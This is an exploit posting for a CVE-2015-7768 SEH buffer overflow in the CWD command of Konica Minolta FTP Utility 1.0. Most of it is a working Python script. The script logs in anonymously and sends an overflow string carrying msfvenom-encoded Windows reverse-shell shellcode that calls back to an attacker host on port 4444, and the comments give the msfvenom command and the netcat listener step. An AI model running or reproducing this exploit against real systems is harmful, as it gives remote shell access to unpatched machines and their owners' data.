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Konica Minolta FTP Utility 1.0 SEH Buffer Overflow

Konica Minolta FTP Utility 1.0 SEH Buffer Overflow
Posted May 31, 2016
Authored by Mandar Jadhav

Konica Minolta FTP Utility version 1.0 CWD command SEH buffer overflow exploit.

tags | exploit, overflow
advisories | CVE-2015-7768
SHA-256 | 5fb3c4082734b2bea7d205e6e01eaf8eae340d8653251aa86db8fe5c587c8f88

Konica Minolta FTP Utility 1.0 SEH Buffer Overflow

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# Exploit Title: Konica Minolta FTP Utility - CWD Command SEH Based Buffer Overflow Vulnerability
# Date: 24/5/2016
# Exploit Author: Mandar
# Vendor Homepage: http://www.konicaminolta.hk/hk/en-us/download-driver-dl-utilities.php
# Software Link: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip
# Version: Konica Minolta FTP Utility v1.0
# Tested on: Windows XP SP3, Windows 7 SP1 64bits, Windows 8.1 64bits, Windows 10 pro
# CVE : CVE-2015-7768
# Listen for a reverse netcat connection on port 4444

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

junk = "\x41" * 1037 #offset to EIP

#msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=10.11.41.55 LPORT=4444 -e x86/shikata_ga_nai -b "\x00\x0d\x0a\x3d\x5c\x2f" -i 3 -f python (replace LHOST with an attacker's IP)

buf = ""
buf += "\xdb\xd2\xbf\xcc\xee\x99\xa8\xd9\x74\x24\xf4\x5d\x2b"
buf += "\xc9\xb1\x5f\x83\xed\xfc\x31\x7d\x15\x03\x7d\x15\x2e"
buf += "\x1b\x22\x04\x1b\xad\xcc\x8f\xb3\xf7\x9b\x0b\xc7\x56"
buf += "\x4d\x9d\x96\x3f\xbc\x43\xcd\x3c\x50\x87\xee\x1c\xbc"
buf += "\x9a\xa9\xc8\x34\x1a\x9c\xbe\xb0\x57\x29\xe3\xb4\x80"
buf += "\x3a\x80\x08\xee\x19\xf4\xd3\xc7\x43\x35\x0e\xb3\x85"
buf += "\x74\x16\x36\x51\xc5\xa5\xe0\x5b\xf0\x29\x11\x62\x83"
buf += "\x56\x98\x21\xea\x69\x23\x10\x7c\x65\x02\x77\x70\xdc"
buf += "\x5a\xd9\x6e\xc5\x55\x07\x15\xba\xb4\x10\xf5\xee\x73"
buf += "\xbc\x17\x68\xe3\x78\x89\x60\x95\x1c\x62\xba\x1f\x60"
buf += "\xd8\x65\x41\xf7\x0c\x30\x56\x08\x79\xd2\x32\x0e\x03"
buf += "\x56\xbf\x9e\xbf\xf7\xba\xe2\xaa\x96\x9d\x1d\x62\xdd"
buf += "\xa7\xbb\x40\x53\xa2\x0f\xd8\x25\x4a\x4e\x4d\x38\xa9"
buf += "\xb6\xb0\x48\x51\xba\x5e\x6d\x23\x80\xd4\x45\x61\x14"
buf += "\x82\xc4\x6d\x69\x93\x19\x69\xe9\x8c\x24\x01\xb5\x68"
buf += "\xc4\xfe\x95\x69\x0c\xa1\x71\xd2\x5d\xb8\x90\x06\x31"
buf += "\xfa\xfe\xf8\x61\x35\x46\xc8\xcb\xf8\x57\xac\x85\x06"
buf += "\x2b\x6d\x02\xb2\x4b\xca\x0e\x87\xaf\x7d\x43\x6b\x1c"
buf += "\x03\x42\x13\xfe\x16\x9c\x70\xf2\xaf\x34\x6e\x42\x2b"
buf += "\xba\xf2\x62\xdc\x9a\x55\x4a\x46\x08\x04\x7a\x8e\x26"
buf += "\x95\xa8\x72\x8e\x8c\x83\xef\xcd\xb6\x10\x91\xfe\xda"
buf += "\x3a\x15\xba\x7c\xef\x24\x1c\x9d\xb7\x57\xe9\x60\x7f"
buf += "\x06\xd3\xf6\x7b\x85\x7b\xd3\xb2\x8c\x30\x85\xb7\x56"
buf += "\x41\x7f\x6c\xab\x01\x7a\x1b\x77\xcf\xd5\x0c\x85\xce"
buf += "\xb6\x6f\x5f\xfb\xc7\x43\xc8\x13\xfe\xae\xcc\xea\xe6"
buf += "\x40\x61\x2c\x75\xdb\x9a\x6b\x03\x80\xc1\x69\xc8\x5f"
buf += "\x16\x31\x16\xf4\x50\x45\x99\xa9\xc5\x7f\xa0\x64\x59"
buf += "\xb3\x95\xe1\xb7\xa6\xe0\x36\x2a\xe3\xc7\xcb\x09\xb0"
buf += "\x84\x37\x67\xa2\x91\xbd\xb8\x38\x26\x68\xa8\x67\x81"
buf += "\x5e\x89\xf8\xf3\x30\xd2\xc2\x37\x25\x2d\x99\xf2\xad"
buf += "\x34\xdf\x21\x2b\x43\xcd\x18\xa0\x95\x9e\xa9\xe4\x44"
buf += "\xb0\xcd"

nseh = "\xeb\x10\x90\x90"
seh = "\xb0\x63\x20\x12"
exploit = junk + nseh + seh + "\x90" *20 + buf + "\x42" * 500
print "sending"
s.connect(('x.x.x.x',21)) # Insert target IP
data = s.recv(1024)
s.send('USER anonymous' + '\r\n')
data = s.recv(1024)
s.send('PASS anonymous' + '\r\n')
data = s.recv(1024)
s.send('CWD ' +exploit+ '\r\n')
s.close
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